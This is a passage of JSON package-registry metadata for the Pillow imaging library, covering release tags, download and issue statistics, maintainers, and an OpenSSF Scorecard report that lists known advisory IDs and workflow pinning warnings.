html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.6/manifests"},{"name":"1.2","sha":"fb47c498ef1bed2fd5e8bf5c84427bd7ab410da5","kind":"tag","published_at":"2010-08-02T15:44:30.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.2/manifests"},{"name":"1.0","sha":"b1030062ea8106abb34c97b83ab16149d33fb98f","kind":"tag","published_at":"2010-07-31T03:26:26.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.0/manifests"}]},"repo_metadata_updated_at":"2026-08-19T20:22:54.436Z","dependent_packages_count":39,"downloads":2513955,"downloads_period":"total","dependent_repos_count":3384,"rankings":{"downloads":null,"dependent_repos_count":0.5747126436781609,"dependent_packages_count":0.7562008469449486,"stargazers_count":7.229280096793708,"forks_count":7.1990320629159115,"docker_downloads_count":null,"average":3.939806412583182},"purl":"pkg:conda/pillow","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/conda/pillow","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/conda/pillow","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/conda/pillow/dependencies","status":null,"funding_links":["https://github.com/sponsors/python-pillow","https://tidelift.com/funding/github/pypi/pillow"],"critical":false,"issue_metadata":{"last_synced_at":"2026-08-19T20:04:07.682Z","issues_count":859,"pull_requests_count":2671,"avg_time_to_close_issue":12261496.382857142,"avg_time_to_close_pull_request":1548566.9461983105,"issues_closed_count":700,"pull_requests_closed_count":2249,"pull_request_authors_count":167,"issue_authors_count":690,"avg_comments_per_issue":7.09662398137369,"avg_comments_per_pull_request":1.1542493448146762,"merged_pull_requests_count":2032,"bot_issues_count":3,"bot_pull_requests_count":164,"past_year_issues_count":73,"past_year_pull_requests_count":388,"past_year_avg_time_to_close_issue":1211846.0789473683,"past_year_avg_time_to_close_pull_request":837913.4618644068,"past_year_issues_closed_count":38,"past_year_pull_requests_closed_count":236,"past_year_pull_request_authors_count":62,"past_year_issue_authors_count":60,"past_year_avg_comments_per_issue":4.041095890410959,"past_year_avg_comments_per_pull_request":1.1649484536082475,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":32,"past_year_merged_pull_requests_count":207,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/issues","maintainers":[{"login":"radarhere","count":1750,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/radarhere"},{"login":"hugovk","count":235,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/hugovk"},{"login":"aclark4life","count":44,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/aclark4life"},{"login":"wiredfool","count":32,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/wiredfool"},{"login":"homm","count":28,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/homm"},{"login":"mficzel","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mficzel"}],"active_maintainers":[{"login":"radarhere","count":217,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/radarhere"},{"login":"hugovk","count":31,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/hugovk"},{"login":"aclark4life","count":8,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/aclark4life"},{"login":"wiredfool","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/wiredfool"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/pillow/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/pillow/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/pillow/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/pillow/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/pillow/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/pillow/codemeta","maintainers":[],"registry":{"name":"anaconda.org","url":"https://anaconda.org","ecosystem":"conda","default":true,"packages_count":5475,"maintainers_count":0,"namespaces_count":0,"keywords_count":3313,"github":"Anaconda","metadata":{"kind":"anaconda","key":"Main","api":"https://repo.ananconda.com","funded_packages_count":851},"icon_url":"https://github.com/Anaconda.png","created_at":"2022-10-03T15:37:08.736Z","updated_at":"2026-08-23T05:06:05.492Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/namespaces"}},{"id":5289907,"name":"pillow","ecosystem":"conda","description":null,"homepage":"https://pillow.readthedocs.io/","licenses":"HPND","normalized_licenses":["HPND"],"repository_url":"https://github.com/python-pillow/Pillow","keywords_array":[],"namespace":null,"versions_count":43,"first_release_published_at":"2022-10-03T15:48:23.500Z","latest_release_published_at":"2022-08-13T10:20:35.000Z","latest_release_number":"9.2.0","last_synced_at":"2026-04-01T16:23:54.378Z","created_at":"2022-10-03T15:48:23.492Z","updated_at":"2026-08-19T22:01:43.930Z","registry_url":"https://anaconda.org/conda-forge/pillow","install_command":"conda install -c conda-forge pillow","documentation_url":null,"metadata":{},"repo_metadata":{"id":4067385,"uuid":"5171600","full_name":"python-pillow/Pillow","owner":"python-pillow","description":"Python Imaging Library (fork)","archived":false,"fork":false,"pushed_at":"2026-08-12T00:07:52.000Z","size":210851,"stargazers_count":13745,"open_issues_count":157,"forks_count":2484,"subscribers_count":219,"default_branch":"main","last_synced_at":"2026-08-12T01:37:15.901Z","etag":null,"topics":["c","cross-platform","image","image-processing","pil","pillow","python","python-3"],"latest_commit_sha":null,"homepage":"https://python-pillow.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/python-pillow.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.rst","contributing":".github/CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":".github/SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":"python-pillow","tidelift":"pypi/pillow"}},"created_at":"2012-07-24T21:38:39.000Z","updated_at":"2026-08-12T00:07:57.000Z","dependencies_parsed_at":"2026-08-10T00:33:36.120Z","dependency_job_id":"d5b95903-c96d-44df-bd02-a4cc128e2ac8","html_url":"https://github.com/python-pillow/Pillow","commit_stats":{"total_commits":13318,"total_committers":471,"mean_commits":28.276008492569,"dds":0.6136056464934675,"last_synced_commit":"128f3f46d475de5ddf9859ae1e262287d0c126b6"},"previous_names":["python-imaging/pillow"],"tags_count":99,"template":false,"template_full_name":null,"purl":"pkg:github/python-pillow/Pillow","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/python-pillow","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/sbom","scorecard":{"id":685638,"data":{"date":"2025-08-11","repo":{"name":"github.com/python-pillow/Pillow","commit":"092d4422d590835c5a75831a4ff29caf0df08ae2"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":6.8,"checks":[{"name":"Maintained","score":10,"reason":"30 commit(s) and 24 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":9,"reason":"Found 16/17 approved changesets -- score normalized to 9","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: .github/SECURITY.md:1","Info: Found linked content: .github/SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: .github/SECURITY.md:1","Info: Found text in security policy: .github/SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Warn: jobLevel 'contents' permission set to 'write': .github/workflows/release-drafter.yml:20","Info: found token with 'none' permissions: .github/workflows/test-docker.yml:116","Info: found token with 'none' permissions: .github/workflows/test-windows.yml:240","Info: found token with 'none' permissions: .github/workflows/test.yml:162","Info: topLevel 'contents' permission set to 'read': .github/workflows/cifuzz.yml:21","Info: topLevel 'contents' permission set to 'read': .github/workflows/docs.yml:19","Info: topLevel 'contents' permission set to 'read': .github/workflows/lint.yml:9","Info: topLevel 'contents' permission set to 'read': .github/workflows/release-drafter.yml:11","Info: topLevel 'contents' permission set to 'read': .github/workflows/stale.yml:9","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-docker.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-mingw.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-valgrind-memory.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-valgrind.yml:21","Info: topLevel 'contents' permission set to 'read': .github/workflows/test-windows.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/test.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/wheels.yml:35"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":9,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Warn: project license file does not contain an FSF or OSI license."],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: Tests/oss-fuzz/fuzz_font.py:18","Info: PythonAtherisFuzzer integration found: Tests/oss-fuzz/fuzz_pillow.py:16"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/wheels.yml:270"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Vulnerabilities","score":0,"reason":"13 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-29gw-9793-fvw7","Warn: Project is vulnerable to: PYSEC-2015-24 / GHSA-4vwq-x64q-j4cj","Warn: Project is vulnerable to: PYSEC-2017-46 / GHSA-66gw-5xpf-gfp5","Warn: Project is vulnerable to: PYSEC-2015-25 / GHSA-92mr-v722-f48m","Warn: Project is vulnerable to: PYSEC-2022-12 / GHSA-pq7m-3gw7-gq5x","Warn: Project is vulnerable to: PYSEC-2017-47","Warn: Project is vulnerable to: PYSEC-2018-34 / GHSA-2fc2-6r4j-p65h","Warn: Project is vulnerable to: PYSEC-2021-856 / GHSA-5545-2q6w-2gh6","Warn: Project is vulnerable to: PYSEC-2019-108 / GHSA-9fq2-x9r6-wfmf","Warn: Project is vulnerable to: PYSEC-2018-33 / GHSA-cw6w-4rcx-xphc","Warn: Project is vulnerable to: PYSEC-2021-857 / GHSA-f7c7-j99h-c22f","Warn: Project is vulnerable to: GHSA-fpfv-jqm9-f5jm","Warn: Project is vulnerable to: PYSEC-2017-1 / GHSA-frgw-fgh6-9g52"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): .github/workflows/test-docker.yml:100","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/cifuzz.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/cifuzz.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:47: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/cifuzz.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:53: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/cifuzz.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docs.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/docs.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docs.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/docs.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docs.yml:52: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/docs.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/lint.yml:23: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/lint.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/lint.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/lint.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/lint.yml:36: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/lint.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release-drafter.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/release-drafter.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/stale.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-docker.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test-docker.yml:80: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test-docker.yml:108: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-docker.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-mingw.yml:48: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-mingw.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test-mingw.yml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-mingw.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-valgrind-memory.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-valgrind-memory.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-valgrind.yml:42: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-valgrind.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:55: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:62: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:114: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:219: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test-windows.yml:231: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:68: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:73: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:143: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:154: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:281: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/wheels.yml:287: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:109: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:114: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:136: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:156: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:161: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:167: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:222: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:228: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:237: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:242: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:248: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:259: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .ci/after_success.sh:4","Warn: pipCommand not pinned by hash: .ci/install.sh:25","Warn: pipCommand not pinned by hash: .ci/install.sh:26","Warn: pipCommand not pinned by hash: .ci/install.sh:27","Warn: pipCommand not pinned by hash: .ci/install.sh:28","Warn: pipCommand not pinned by hash: .ci/install.sh:29","Warn: pipCommand not pinned by hash: .ci/install.sh:30","Warn: pipCommand not pinned by hash: .ci/install.sh:31","Warn: pipCommand not pinned by hash: .ci/install.sh:32","Warn: pipCommand not pinned by hash: .ci/install.sh:33","Warn: pipCommand not pinned by hash: .ci/install.sh:34","Warn: pipCommand not pinned by hash: .ci/install.sh:35","Warn: pipCommand not pinned by hash: .ci/install.sh:38","Warn: pipCommand not pinned by hash: .ci/install.sh:44","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:24","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:25","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:26","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:27","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:28","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:29","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:30","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:31","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:32","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:35","Warn: pipCommand not pinned by hash: .github/workflows/wheels-dependencies.sh:174","Warn: pipCommand not pinned by hash: .github/workflows/wheels-dependencies.sh:187","Warn: pipCommand not pinned by hash: .github/workflows/wheels-dependencies.sh:377","Warn: pipCommand not pinned by hash: Tests/oss-fuzz/build.sh:18","Warn: pipCommand not pinned by hash: .github/workflows/lint.yml:47","Warn: pipCommand not pinned by hash: .github/workflows/lint.yml:48","Warn: pipCommand not pinned by hash: .github/workflows/test.yml:124","Warn: pipCommand not pinned by hash: .github/workflows/wheels.yml:120","Info:   0 out of  36 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of  10 third-party GitHubAction dependencies pinned","Info:   0 out of  32 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}}]},"last_synced_at":"2025-08-22T00:42:31.003Z","repository_id":4067385,"created_at":"2025-08-22T00:42:31.003Z","updated_at":"2025-08-22T00:42:31.003Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36546442,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-12T02:00:07.134Z","response_time":57,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"python-pillow","name":"Pillow","uuid":"2036701","kind":"organization","description":"The friendly PIL fork (Python Imaging Library)","email":"aclark@aclark.net","website":"https://python-pillow.github.io","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/2036701?v=4","repositories_count":19,"last_synced_at":"2026-08-13T00:36:15.473Z","metadata":{"has_sponsors_listing":true,"funding":null},"html_url":"https://github.com/python-pillow","funding_links":["https://github.com/sponsors/python-pillow"],"total_stars":13916,"followers":251,"following":0,"created_at":"2022-11-02T16:23:18.204Z","updated_at":"2026-08-13T00:36:15.483Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/python-pillow","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/python-pillow/repositories"},"tags":[{"name":"12.3.0","sha":"bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d","kind":"commit","published_at":"2026-07-01T09:09:01.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/12.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.3.0/manifests"},{"name":"12.2.0","sha":"3c41c095064200a02672d89cc5ff629eaf4b0d4f","kind":"commit","published_at":"2026-04-01T12:11:14.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/12.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/